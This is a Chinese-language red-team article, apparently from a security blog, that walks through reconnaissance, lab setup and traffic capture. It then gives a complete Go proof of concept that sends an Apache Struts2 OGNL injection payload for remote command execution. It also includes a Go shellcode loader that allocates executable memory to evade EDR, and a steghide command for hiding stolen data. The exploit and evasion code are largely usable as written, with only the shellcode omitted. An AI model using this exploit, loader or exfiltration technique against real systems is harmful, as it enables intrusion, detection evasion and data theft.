0x01 攻击板块
在深入红队攻防演练之前,让我们先聊一聊技术原理。红队的工作不仅仅是找到漏洞,更重要的是利用这些漏洞对目标系统发起持续性的攻击。我曾经参与过一场内部演练,目标是某互联网公司的内部系统。为了做到这一点,我们深入研究了目标的IT架构,包括服务器、应用程序和网络配置。在这过程中,信息收集是至关重要的一步。
信息收集是红队攻击链中的第一步,也是非常关键的一步。通过信息收集,我们能够了解目标的网络边界、开放端口、操作系统类型、已知漏洞等信息,为后续的攻击策略制定打下坚实基础。有一次,我们通过利用Shodan爬取信息,发现目标使用的是过时的Apache Struts版本,正是这次信息收集为后续的攻击奠定了基础。
流量捕获实战
接下来是实战演示部分,最令人兴奋的环节。在某次内部测试中,我们搭建了一个靶场环境:包含多个Windows服务器、Linux服务器以及一台防火墙。目标是模拟真实的企业环境,以便更好地进行攻击演练。
环境搭建
靶场的搭建需要注意模拟真实环境中的多样性和复杂性。我们选择使用Vagrant和VirtualBox来快速创建和管理虚拟环境。以下是快速搭建的Shell脚本:
<pre><code class="language-shell">#!/bin/bash
使用Vagrant和VirtualBox搭建攻防靶场
初始化Vagrant环境
vagrant init bento/ubuntu-20.04
启动虚拟机
vagrant up
SSH进入虚拟机
vagrant ssh
安装所需工具
sudo apt-get update sudo apt-get install -y nmap openjdk-11-jdk</code></pre>
上面这个脚本可以帮助我们快速搭建一个基础的Linux靶机并安装所需工具。这个环境中,我们可以测试各种攻击手段。
网络流量捕获
在红队演练中,捕获和分析网络流量是至关重要的一环。我们使用Wireshark和tcpdump等工具,对目标网络的流量进行实时监控和分析。有一次,我通过分析流量发现了一台内网服务器正在与外部IP地址进行可疑通信,这为我们后续的横向移动提供了重要线索。
<pre><code class="language-shell"># 使用tcpdump捕获流量 sudo tcpdump -i eth0 -w capture.pcap
分析捕获的流量
wireshark capture.pcap</code></pre>
通过上述步骤,我们可以捕获并分析目标网络中的流量,寻找潜在的攻击入口。
Payload构造的艺术
攻击不仅仅是找到漏洞,还要有效地利用这些漏洞,以达到预期的效果。Payload的构造就是其中的关键一步。在一次实战中,我们针对目标的Struts漏洞,构造了一个精妙的Payload,成功实现了远程命令执行。

POC代码实现
以下是一个简单的Go语言编写的Payload示例,针对某个常见的Struts漏洞:
<pre><code class="language-go">package main
import ( "fmt" "net/http" "strings" )
func main() { url := "http://target.com/struts2-showcase/index.action" payload := "id=1&name=%{(#_='multipart/form-data')." + "(#[email protected]@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='touch /tmp/pwned')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase()" + ".contains('win')))." + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse()" + ".getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}"
req, err := http.NewRequest("POST", url, strings.NewReader(payload)) if err != nil { fmt.Println("Error creating request:", err) return } req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
client := &http.Client{} resp, err := client.Do(req) if err != nil { fmt.Println("Error sending request:", err) return } defer resp.Body.Close()
fmt.Println("Response status:", resp.Status) }</code></pre>
这段代码能够实现对目标服务器的远程命令执行,具体是创建了一个名为/tmp/pwned的文件。通过这种方式,我们不仅验证了目标存在漏洞,还能够进一步利用该漏洞实现更复杂的攻击。
绕过EDR的策略
随着安全技术的发展,许多企业开始使用EDR(Endpoint Detection and Response)工具来检测和防御攻击。对于红队来说,如何绕过这些检测系统也是一项重要的能力。有一次,我使用自定义的Loader来加载我们的Payload,在内存中执行而不触碰磁盘,从而成功避开了EDR的检测。
免杀技术
我们可以使用Go语言和Assembly结合的方式来实现免杀的Loader,使得Payload执行时不被EDR识别。以下是一个简单的示例:
<pre><code class="language-go">package main
import ( "syscall" "unsafe" )
var shellcode = [...]byte{ // 在这里插入shellcode }

func main() { kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualAlloc := kernel32.NewProc("VirtualAlloc") exec, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), 0x3000, 0x40)
for i, b := range shellcode { ptr := unsafe.Pointer(exec + uintptr(i)) ((byte)(ptr)) = b }

syscall.Syscall(exec, 0, 0, 0, 0) }</code></pre>
通过内存分配和执行,我们可以在不落地的情况下运行Payload,有效绕过EDR的查杀。
数据窃取与痕迹清除
在获得目标系统的控制权后,窃取数据是红队演练的最终目标。我们需要能够绕过审计系统进行数据窃取,并在操作后清除痕迹,以避免被检测。有一次,我使用了一种巧妙的流量混淆技术,将数据伪装成正常的Web流量进行传输,成功避开了防火墙和IDS/IPS的监控。
技术实现
我们可以使用Steganography技术,将敏感数据隐匿于看似正常的图片中,通过HTTP流量发送出去。这种方式不仅能够有效隐藏数据,还能够绕过网络监控设备。
<pre><code class="language-shell"># 使用Steghide工具来进行数据隐藏 steghide embed -cf cover.jpg -ef secret.txt -p password</code></pre>
通过这种技术,我们能够在不被发现的情况下,顺利窃取目标系统中的重要数据。
个人反思与下一步计划
回顾这次红队攻防演练,从信息收集到数据窃取,我们采用了多种技术手段和策略,成功完成了演练目标。在此过程中,我们也发现了一些新的安全风险和防御不足之处。接下来,我计划继续研究如何更好地利用AI技术来增强攻击能力,同时也会深入研究最新的防御技术,以提升我们的整体攻防水平。
作为红队,我们的使命是通过不断地挑战和冲击现有的安全系统,发现潜在的安全隐患,并提出解决方案。在未来的演练中,我将继续探索新的攻击方式,提升红队的整体战斗力。